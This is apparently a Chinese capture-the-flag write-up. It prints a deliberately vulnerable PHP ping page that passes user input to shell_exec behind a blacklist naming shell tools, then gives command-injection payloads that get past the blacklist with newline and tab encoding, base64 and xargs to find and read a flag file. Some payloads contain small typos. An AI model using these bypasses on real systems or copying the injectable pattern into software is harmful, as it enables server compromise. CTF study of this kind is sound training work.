源码:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
<title>PING</title>
<link href="style.css?t=<?php echo date("1"); ?>" rel="stylesheet">
<link rel="stylesheet" href="style2.css">
</head>
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|*|{)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
}
?>
<body>
<div id="content">
<div class="con">
<div class="shlogo"></div>
<div class="sou">
<div class="font_div">
<i style="font-size: 50px;" class="iconfont icon-sousuo"></i>ping
</div>
<form action="" method="get" target="_self">
<input class="wd" type="text" placeholder="IP:" name="url" x-webkit-speech lang="zh-CN">
</br>
<button><i style="font-size: 15px;" class="iconfont icon-sousuo"></i>ping</button>
</br>
</br>
<strong> Result:<?php
print_r($a);
?><strong>
</form>
</div>
</div>
</div>
</body>
</html>
其实源码也是要找的
观察源码 可发现被过滤的字符
有多种解法
不过 核心都是 ’echo flag(base64编码)|base64 -d' 实现了绕过后面对flag的过滤 (试了半天没绕过 拼接 大小写 都不行,也想到了 这里但是不会xargs接收参数)
第一条payload: 123%0aecho%09ZmxhZw==|base64%09-d|xargs%09-l%09x%09find%09/%09-name%09"x????" 这是为了绕而编的
等同于 123|echo ZmxhZw==|base64 -d|xargs -I x find / -name "x????" 意思是 输出base64加密后解密的flag 其实就是flag 但是表达式中没有 所以绕过了 然后传入flag 到参数x 再进行find 查找 含有名字包含flag的文件
最后结果有 /etc/.findlag/flag.txt
继续payload: 123%0a'echo%09L2V0Vy8uZmluZGZsYWcvZmxhZy50eHQ=|base64%09-d|xargs%09sed%09""%09 这里也可以用我前面写道的 sed '/flag/' 打开文件 这里隐藏了参数 我实验改成
xargs -I x sed "" x 也行 这样就是需要用到x 的值
最后意思其实就是打开上个文件位置下的文件 打印内容
第二种解法
前面的差不多 不过最后用到的是grep 实验 : echo Mi50eHQK|base64 -d|grep . 将 2.txt文件位置编码后 解码 再用管道传数据 grep . 过滤 含有.的字符 输出结果
123%0aecho%09ZmxhZw==|base64%09-d‘%09grep . 和实验类似 通过管道传数据 用grep+关键词 过滤 其实完全可以 过滤 fl 会输出包含fl的字符串 这样就有flag显示了
知识点 还是 管道的利用 以及echo base64 结合的妙用 不是拼接了 也不是简单双写了
第三种解法:
payload : 127.0.0.1%0afind%09/%09-name%09`echo%09ZmxhKg==|base64%09-d` 直接出flag 的位置 因为 `echo ****`这里作为了find / -name 的参数 (fla*) 从根目录开始查找所有包含fla的文件名
payload2: 127.0.0.1%0a||ca %09/`echo%09L2V0Yy8uZmluZGZsYWcvZmxhZy50eHQ=|base64%09-d` `echo base64加密文件位置后解密 ` 输出的结果作为了ca 后的参数 然后就能直接打开了
相对前面2种方法 第三种是最简单的了